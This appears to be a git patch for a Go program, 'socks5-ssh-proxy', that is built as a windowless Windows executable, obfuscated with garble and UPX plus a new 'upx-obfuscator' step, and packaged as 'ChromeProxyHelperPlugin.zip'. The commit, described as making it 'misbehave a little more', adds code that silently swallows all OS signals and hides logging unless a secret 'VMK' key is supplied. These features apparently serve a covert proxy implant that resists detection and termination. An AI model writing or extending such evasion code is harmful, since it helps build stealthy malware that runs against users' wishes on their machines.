From 426f76ba37e3adb2ff88697c2b6236013bc41526 Mon Sep 17 00:00:00 2001 From: Jerry Jacobs Date: Sun, 28 Jul 2024 22:22:37 +0200 Subject: [PATCH] Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more --- Makefile | 1 + config.go | 2 ++ config_template.go | 1 - main.go | 5 +++++ main_debug.go | 1 - main_release.go | 2 +- system.go | 18 ++++++++++++++++++ 7 files changed, 27 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index e725b0a..293e077 100644 --- a/Makefile +++ b/Makefile @@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@ upx $@ + go run cmd/upx-obfuscator/main.go $@ goreleaser: resources $(GARBLE_BIN) goreleaser build --clean --snapshot --id win-release win-package: ChromeProxyHelperPlugin.zip diff --git a/config.go b/config.go index 881ff6d..4b307b8 100644 --- a/config.go +++ b/config.go @@ -8,6 +8,8 @@ type config struct { // In release builds the verbose mode is silenced when this key is given // verbose mode is force enabled. The key is read from the "VMK" environment // variable at startup. + // + // NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile VerboseModeKey string // SSH server user name diff --git a/config_template.go b/config_template.go index 84b9978..663215f 100644 --- a/config_template.go +++ b/config_template.go @@ -1,7 +1,6 @@ //go:build !release // +build !release -// package main import "strings" diff --git a/main.go b/main.go index 0469d50..3fff4ae 100644 --- a/main.go +++ b/main.go @@ -135,6 +135,11 @@ func main() { systemGetWellKnownBinaryPaths() + mainLoop() +} + +func mainLoop() { for { + // TODO handle CTRL+C in debug and release + VMK modes } } diff --git a/main_debug.go b/main_debug.go index 8ab2661..fec94ca 100644 --- a/main_debug.go +++ b/main_debug.go @@ -1,7 +1,6 @@ //go:build !release // +build !release -// package main var resourceSSHPrivateKey string diff --git a/main_release.go b/main_release.go index 1287fd3..0f6c032 100644 --- a/main_release.go +++ b/main_release.go @@ -1,7 +1,6 @@ //go:build release // +build release -// package main import ( @@ -16,5 +15,6 @@ func init() { dontSilenceKey := os.Getenv("VMK") if dontSilenceKey != cfg.VerboseModeKey { systemRouteAllLogging(os.DevNull) + systemIgnoreAllSignals() } } diff --git a/system.go b/system.go index 9c9e878..5d9c263 100644 --- a/system.go +++ b/system.go @@ -4,6 +4,7 @@ import ( "fmt" "log" "os" + "os/signal" "path/filepath" ) @@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string { return existingPaths } + +func systemIgnoreAllSignals() { + // Create a channel to receive OS signals. + sigs := make(chan os.Signal, 1) + + // Notify the signal channel for all signals (you can add more if needed) + signal.Notify(sigs) + + // This goroutine receives signals but does nothing with them. + go func() { + for sig := range sigs { + // Signal received but ignored + _ = sig + log.Println("Received OS signal", sig) + } + }() +}